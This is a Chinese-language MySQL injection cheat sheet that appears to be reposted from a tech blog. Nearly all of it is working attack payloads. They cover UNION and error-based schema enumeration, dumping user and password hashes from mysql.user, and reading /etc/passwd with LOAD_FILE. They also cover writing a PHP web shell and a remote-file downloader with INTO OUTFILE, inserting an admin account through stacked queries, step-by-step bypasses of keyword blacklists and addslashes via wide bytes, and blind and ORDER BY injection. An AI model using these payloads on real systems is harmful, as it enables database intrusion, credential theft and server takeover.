2、Mysql注入科普
預設存在的資料庫
mysql | 需要root許可權讀取 |
information_schema | 在5以上的版本中存在 |
測試是否存在注入方法
假:表示查詢是錯誤的 (MySQL 報錯/返回頁面與原來不同)
真:表示查詢是正常的 (返回頁面與原來相同)
共三種情況:
例子:
SELECT * FROM Users WHERE id = '1''';
SELECT * FROM Users WHERE id = 3-2;
SELECT * FROM Users WHERE username = 'Mike' AND password = '' OR '' = '';
可以使用很多單雙引號,只要是成對出現。
SELECT * FROM Articles WHERE id = '121'''''''''''''
引號後的語句會繼續執行。
SELECT '1'''''"" UNION SELECT '2' # 1 and 2
下面的符號可以用來註釋語句:# | Hash 語法 |
/* | C-style 語法 |
-- - | SQL 語法 |
;%00 | 空位元組 |
` | 反引號 |
SELECT * FROM Users WHERE username = '' OR 1=1 -- -' AND password = '';
SELECT * FROM Users WHERE id = '' UNION SELECT 1, 2, 3`';
測試資料庫版本
VERSION()
@@VERSION
@@GLOBAL.VERSION
如果版本為5的話,下面例子返回為真:
SELECT * FROM Users WHERE id = '1' AND MID(VERSION(),1,1) = '5';
windows平臺上的mysql查詢與linux上返回不同,如果是windows伺服器返回結果會包含 -nt-log字元。
資料庫認證資訊:
表 | mysql.user |
欄位 | user, password |
當前使用者 | user(), current_user(), current_user, system_user(), session_user() |
例子:
SELECT current_user;
SELECT CONCAT_WS(0x3A, user, password) FROM mysql.user WHERE user = 'root'-- (Privileged)
資料庫名:
表 | information_schema.schemata, mysql.db |
欄位 | schema_name, db |
當前資料庫 | database(), schema() |
SELECT database();
SELECT schema_name FROM information_schema.schemata;
SELECT DISTINCT(db) FROM mysql.db;-- (Privileged)
伺服器主機名:
@@HOSTNAME
例子:SELECT @@hostname;
表和欄位
檢測欄位數
兩種方式:Order by判斷
ORDER BY n+1; 讓n一直增加直到出現錯誤頁面。
例子: 查詢語句 SELECT username, password, permission FROM Users WHERE id = '1';
1' ORDER BY 1--+ 真
1' ORDER BY 2--+ 真
1' ORDER BY 3--+ 真
1' ORDER BY 4--+ 假
- 查詢只用了3個欄位
-1' UNION SELECT 1,2,3--+ 真
基於錯誤查詢
AND (SELECT * FROM SOME_EXISTING_TABLE) = 1
注意: 這種方式需要你知道所要查詢的表名。 這種報錯方式返回表的欄位數,而不是錯誤的查詢語句。
例子: 查詢語句 SELECT permission FROM Users WHERE id = 1;
AND (SELECT * FROM Users) = 1 返回Users的欄位數
查詢表名
三種方式:查詢列名
一次查詢多個表或列
SELECT (@) FROM (SELECT(@:=0x00),(SELECT (@) FROM (information_schema.columns) WHERE (table_schema>=@) AND (@)IN (@:=CONCAT(@,0x0a,' [ ',table_schema,' ] >',table_name,' > ',column_name))))x
例子:
SELECT * FROM Users WHERE id = '-1' UNION SELECT 1, 2, (SELECT (@) FROM (SELECT(@:=0x00),(SELECT (@) FROM (information_schema.columns) WHERE (table_schema>=@) AND (@)IN (@:=CONCAT(@,0x0a,' [ ',table_schema,' ] >',table_name,' > ',column_name))))x), 4--+';
輸出結果: [ information_schema ] >CHARACTER_SETS > CHARACTER_SET_NAME
[ information_schema ] >CHARACTER_SETS > DEFAULT_COLLATE_NAME
[ information_schema ] >CHARACTER_SETS > DESCRIPTION
[ information_schema ] >CHARACTER_SETS > MAXLEN
[ information_schema ] >COLLATIONS > COLLATION_NAME
[ information_schema ] >COLLATIONS > CHARACTER_SET_NAME
[ information_schema ] >COLLATIONS > ID
[ information_schema ] >COLLATIONS > IS_DEFAULT
[ information_schema ] >COLLATIONS > IS_COMPILED
利用程式碼:SELECT MID(GROUP_CONCAT(0x3c62723e, 0x5461626c653a20, table_name, 0x3c62723e, 0x436f6c756d6e3a20, column_name ORDER BY (SELECT version FROM information_schema.tables) SEPARATOR 0x3c62723e),1,1024) FROM information_schema.columns
例子:SELECT username FROM Users WHERE id = '-1' UNION SELECT MID(GROUP_CONCAT(0x3c62723e, 0x5461626c653a20, table_name, 0x3c62723e, 0x436f6c756d6e3a20, column_name ORDER BY (SELECT version FROM information_schema.tables) SEPARATOR 0x3c62723e),1,1024) FROM information_schema.columns;
輸出結果:Table: talk_revisions
Column: revid
Table: talk_revisions
Column: userid
Table: talk_revisions
Column: user
Table: talk_projects
Column: priority
根據列名查詢所在的表
SELECT table_name FROM information_schema.columns WHERE column_name = 'username'; | 查詢欄位為username的表 |
SELECT table_name FROM information_schema.columns WHERE column_name LIKE '%user%'; | 查詢欄位中包含user的表 |
根據表查詢包含的欄位
SELECT column_name FROM information_schema.columns WHERE table_name = 'Users'; | 查詢user表中的欄位 |
SELECT column_name FROM information_schema.columns WHERE table_name LIKE '%user%'; | 查詢包含user字串表中的欄位 |
繞過引號限制
SELECT * FROM Users WHERE username = 0x61646D696E | Hex編碼 |
SELECT * FROM Users WHERE username = CHAR(97, 100, 109, 105, 110) | 利用CHAR()函式 |
繞過字串黑名單
SELECT 'a' 'd' 'mi' 'n'; |
SELECT CONCAT('a', 'd', 'm', 'i', 'n'); |
SELECT CONCAT_WS('', 'a', 'd', 'm', 'i', 'n'); |
SELECT GROUP_CONCAT('a', 'd', 'm', 'i', 'n'); |
使用CONCAT()時,任何個引數為null,將返回null, 推薦使用CONCAT_WS() 。
CONCAT_WS() 函式第一個參數列示用哪個字元間隔所查詢的結果。
條件語句
CASE |
IF() |
IFNULL() |
NULLIF() |
SELECT IF(1=1, true, false);
SELECT CASE WHEN 1=1 THEN true ELSE false END;
時間延遲查詢:
SLEEP() | MySQL 5 |
BENCHMARK() | MySQL 4/5 |
' - (IF(MID(version(),1,1) LIKE 5, BENCHMARK(100000,SHA1('true')), false)) - '
許可權
檔案許可權
下面的語句可以查詢使用者讀寫檔案操作許可權:SELECT file_priv FROM mysql.user WHERE user = 'username'; | 需要root使用者來執行 | MySQL 4/5 |
SELECT grantee, is_grantable FROM information_schema.user_privileges WHERE privilege_type = 'file' AND grantee like '%username%'; | 普通使用者都可以 | MySQL 5 |
讀取檔案
如果使用者有檔案操作許可權可以讀取檔案:
LOAD_FILE()
例子:
SELECT LOAD_FILE('/etc/passwd');
SELECT LOAD_FILE(0x2F6574632F706173737764);
- 檔案必須在伺服器上。
- LOAD_FILE()函式操作檔案的當前目錄是@@datadir 。
- MySQL使用者必須擁有對此檔案讀取的許可權。
- 檔案大小必須小於 max_allowed_packet。
- @@max_allowed_packet的預設大小是1047552 位元組.
寫檔案
如果使用者有檔案操作許可權可以寫檔案。
INTO OUTFILE/DUMPFILE
寫一個php的shell:
SELECT '<? system($_GET[\'c\']); ?>' INTO OUTFILE '/var/www/shell.php';
訪問如下連結:
http://localhost/shell.php?c=cat%20/etc/passwd
寫一個下載者:
SELECT '<? fwrite(fopen($_GET[f], \'w\'), file_get_contents($_GET[u])); ?>' INTO OUTFILE '/var/www/get.php'
訪問如下連結:
http://localhost/get.php?f=shell.php&u=http://localhost/c99.txt
- INTO OUTFILE 不可以覆蓋已存在的檔案。
- INTO OUTFILE 必須是最後一個查詢。
- 引號是必須的,因為沒有辦法可以編碼路徑名。
PDO堆查詢方式運算元據庫
PHP使用PDO_MYSQL來連線資料庫,便可以使用堆查詢,堆查詢可以同時執行多個語句。
SELECT * FROM Users WHERE ID=1 AND 1=0; INSERT INTO Users(username,password,priv) VALUES ('BobbyTables', 'kl20da$$','admin');
MySql特有的寫法
MySql中,/*! SQL 語句 */ 這種格式裡面的 SQL 語句會當正常的語句一樣被解析。
如果在!之後是一串數字(這串數字就是 mysql 資料庫的版本號), 如:/*! 12345 SQL 語句 */
當版本號大於等於該數字,SQL 語句則執行,否則就不執行。
SELECT 1/*!41320UNION/*!/*!/*!00000SELECT/*!/*!USER/*!(/*!/*!/*!*/);
模糊和混淆
允許的字元
09 | Horizontal Tab |
0A | New Line |
0B | Vertical Tab |
0C | New Page |
0D | Carriage Return |
A0 | Non-breaking Space |
20 | Space |
例子:
'%0A%09UNION%0CSELECT%A0NULL%20%23
括號也可以用來繞過過濾空格的情況:28 | ( |
29 | ) |
UNION(SELECT(column)FROM(table))
AND或OR後面可以跟的字元
20 | Space |
2B | + |
2D | - |
7E | ~ |
21 | ! |
40 | @ |
例子:
SELECT 1 FROM dual WHERE 1=1 AND-+-+-+-+~~((1))
dual是一個虛擬表,可以用來做測試。幾個針對黑名單繞過的例子
基於關鍵字的黑名單
過濾關鍵字 | and or |
php程式碼 | preg_match('/(and|or)/i',$id) |
會過濾的攻擊程式碼 | 1 or 1=1 1 and 1=1 |
繞過方式 | 1 || 1=1 1 && 1=1 |
過濾關鍵字 | and or union |
php程式碼 | preg_match('/(and|or|union)/i',$id) |
會過濾的攻擊程式碼 | union select user,password from users |
繞過方式 | 1 && (select user from users where userid=1)='admin' |
過濾關鍵字 | and or union where |
php程式碼 | preg_match('/(and|or|union|where)/i',$id) |
會過濾的攻擊程式碼 | 1 && (select user from users where user_id = 1) = 'admin' |
繞過方式 | 1 && (select user from users limit 1) = 'admin' |
過濾關鍵字 | and or union where |
php程式碼 | preg_match('/(and|or|union|where)/i',$id) |
會過濾的攻擊程式碼 | 1 && (select user from users where user_id = 1) = 'admin' |
繞過方式 | 1 && (select user from users limit 1) = 'admin' |
過濾關鍵字 | and, or, union, where, limit |
php程式碼 | preg_match('/(and|or|union|where|limit)/i', $id) |
會過濾的攻擊程式碼 | 1 && (select user from users limit 1) = 'admin' |
繞過方式 | 1 && (select user from users group by user_id having user_id = 1) = 'admin'#user_id聚合中user_id為1的user為admin |
過濾關鍵字 | and, or, union, where, limit, group by |
php程式碼 | preg_match('/(and|or|union|where|limit|group by)/i', $id) |
會過濾的攻擊程式碼 | 1 && (select user from users group by user_id having user_id = 1) = 'admin' |
繞過方式 | 1 && (select substr(group_concat(user_id),1,1) user from users ) = 1 |
過濾關鍵字 | and, or, union, where, limit, group by, select |
php程式碼 | preg_match('/(and|or|union|where|limit|group by|select)/i', $id) |
會過濾的攻擊程式碼 | 1 && (select substr(gruop_concat(user_id),1,1) user from users) = 1 |
繞過方式 | 1 && substr(user,1,1) = 'a' |
過濾關鍵字 | and, or, union, where, limit, group by, select, ' |
php程式碼 | preg_match('/(and|or|union|where|limit|group by|select|\')/i', $id) |
會過濾的攻擊程式碼 | 1 && (select substr(gruop_concat(user_id),1,1) user from users) = 1 |
繞過方式 | 1 && user_id is not null 1 && substr(user,1,1) = 0x61 1 && substr(user,1,1) = unhex(61) |
過濾關鍵字 | and, or, union, where, limit, group by, select, ', hex |
php程式碼 | preg_match('/(and|or|union|where|limit|group by|select|\'|hex)/i', $id) |
會過濾的攻擊程式碼 | 1 && substr(user,1,1) = unhex(61) |
繞過方式 | 1 && substr(user,1,1) = lower(conv(11,10,16)) #十進位制的11轉化為十六進位制,並小寫。 |
過濾關鍵字 | and, or, union, where, limit, group by, select, ', hex, substr |
php程式碼 | preg_match('/(and|or|union|where|limit|group by|select|\'|hex|substr)/i', $id) |
會過濾的攻擊程式碼 | 1 && substr(user,1,1) = lower(conv(11,10,16))/td> |
繞過方式 | 1 && lpad(user,7,1) |
過濾關鍵字 | and, or, union, where, limit, group by, select, ', hex, substr, 空格 |
php程式碼 | preg_match('/(and|or|union|where|limit|group by|select|\'|hex|substr|\s)/i', $id) |
會過濾的攻擊程式碼 | 1 && lpad(user,7,1)/td> |
繞過方式 | 1%0b||%0blpad(user,7,1) |
過濾關鍵字 | and or union where |
php程式碼 | preg_match('/(and|or|union|where)/i',$id) |
會過濾的攻擊程式碼 | 1 || (select user from users where user_id = 1) = 'admin' |
繞過方式 | 1 || (select user from users limit 1) = 'admin' |
利用正規表示式進行盲注
我們都已經知道,在MYSQL 5+中 information_schema庫中儲存了所有的 庫名,表明以及欄位名資訊。故攻擊方式如下:1、判斷第一個表名的第一個字元是否是a-z中的字元,其中blind_sqli是假設已知的庫名。
index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables WHERE TABLE_SCHEMA="blind_sqli" AND table_name REGEXP '^[a-z]' LIMIT 0,1) /*
2、判斷第一個字元是否是a-n中的字元
index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables WHERE TABLE_SCHEMA="blind_sqli" AND table_name REGEXP '^[a-n]' LIMIT 0,1)/*
3、確定該字元為nindex.php?id=1 and 1=(SELECT 1 FROM information_schema.tables WHERE TABLE_SCHEMA="blind_sqli" AND table_name REGEXP '^n' LIMIT 0,1) /*
4、表示式的更換如下'^n[a-z]' -> '^ne[a-z]' -> '^new[a-z]' -> '^news[a-z]' -> FALSE
這時說明表名為news ,要驗證是否是該表明 正規表示式為'^news$',但是沒這必要 直接判斷 table_name = 'news' 不就行了。5、接下來猜解其它表了 只需要修改 limit 1,1 -> limit 2,1就可以對接下來的表進行盲注了。
order by後的注入
oder by由於是排序語句,所以可以利用條件語句做判斷,根據返回的排序結果不同判斷條件的真假。
一般帶有oder或者orderby的變數很可能是這種注入,在知道一個欄位的時候可以採用如下方式注入:
原始連結:http://www.test.com/list.php?order=vote 根據vote欄位排序。
找到投票數最大的票數num然後構造以下連結:
http://www.test.com/list.php?order=abs(vote-(length(user())>0)*num)+asc
看排序是否變化。
還有一種方法不需要知道任何欄位資訊,使用rand函式:
http://www.test.com/list.php?order=rand(true)
http://www.test.com/list.php?order=rand(false)
以上兩個會返回不同的排序,判斷表名中第一個字元是否小於128的語句如下:http://www.test.com/list.php?order=rand((select char(substring(table_name,1,1)) from information_schema.tables limit 1)<=128))
寬位元組注入
sql注入中的寬位元組國內最常使用的gbk編碼,這種方式主要是繞過addslashes等對特殊字元進行轉移的繞過。反斜槓()的十六進位制為%5c,在你輸入%bf%27時,函式遇到單引號自動轉移加入\,此時變為%bf%5c%27,%bf%5c在gbk中變為一個寬字元“縗”。%bf那個位置可以是%81-%fe中間的任何字元。不止在sql注入中,寬字元注入在很多地方都可以應用。
相關文章
- MySql注入科普MySql
- 封神臺MYSQL 注入 - Dns注入MySqlDNS
- mysql防注入MySql
- sql注入2SQL
- 實戰2-注入
- php操作mysql防止sql注入(合集)PHPMySql
- MySQL資料庫注入基礎MySql資料庫
- MYSQL8.0特性—無select注入MySql
- C10-08-寬位元組注入-mysql注入之getshell-sqlmapMySql
- PHP+MySQL 手工注入語句大全PHPMySql
- 使用dataX-stream2stream/stream2mysql/mysql2mysql/mysql2streamMySql
- Mysql報錯注入原理分析(count()、rand()、group by)MySql
- @Autowired 注入 **required a single bean, but 2 were found**UIBean
- 2、spring注入及自動裝配Spring
- J2EE模式-依賴注入模式依賴注入
- mysql + nodejs mysql篇(2)MySqlNodeJS
- 手寫Spring---DI依賴注入(2)Spring依賴注入
- [WesternCTF2018]shrine(Jinja2模板注入)TF2
- mysql注入方法邏輯運算及常用函式MySql函式
- 【MySQL(2)| MySQL索引機制】MySql索引
- Spring注入:配置注入(set注入和構造器注入)與註解注入Spring
- 科普:爬蟲爬蟲
- .net core番外第2篇:Autofac的3種依賴注入方式(建構函式注入、屬性注入和方法注入),以及在過濾器裡面實現依賴注入依賴注入函式過濾器
- MySQL基礎(2)MySql
- SQL 注入:聯合注入SQL
- 程式注入之DLL注入
- sql注入之union注入SQL
- 有趣的科普書
- Spring Boot 應對 Log4j2 注入漏洞指南Spring Boot
- 05. struts2中為Action屬性注入值
- 【esp32 專案】使用I2C第一篇——I2C的科普
- sql注入之堆疊注入及waf繞過注入SQL
- JNDI注入和JNDI注入Bypass
- 墨者學院-SQL手工注入漏洞測試(MySQL資料庫)MySql資料庫
- win10最強注入工具,遠端執行緒注入、訊息鉤子注入、輸入法注入、EIP注入、登錄檔注入、APC注入(APC好像不能用)Win10執行緒
- mysql使用語法2MySql
- 科普:DO-178B
- web前端小白科普集Web前端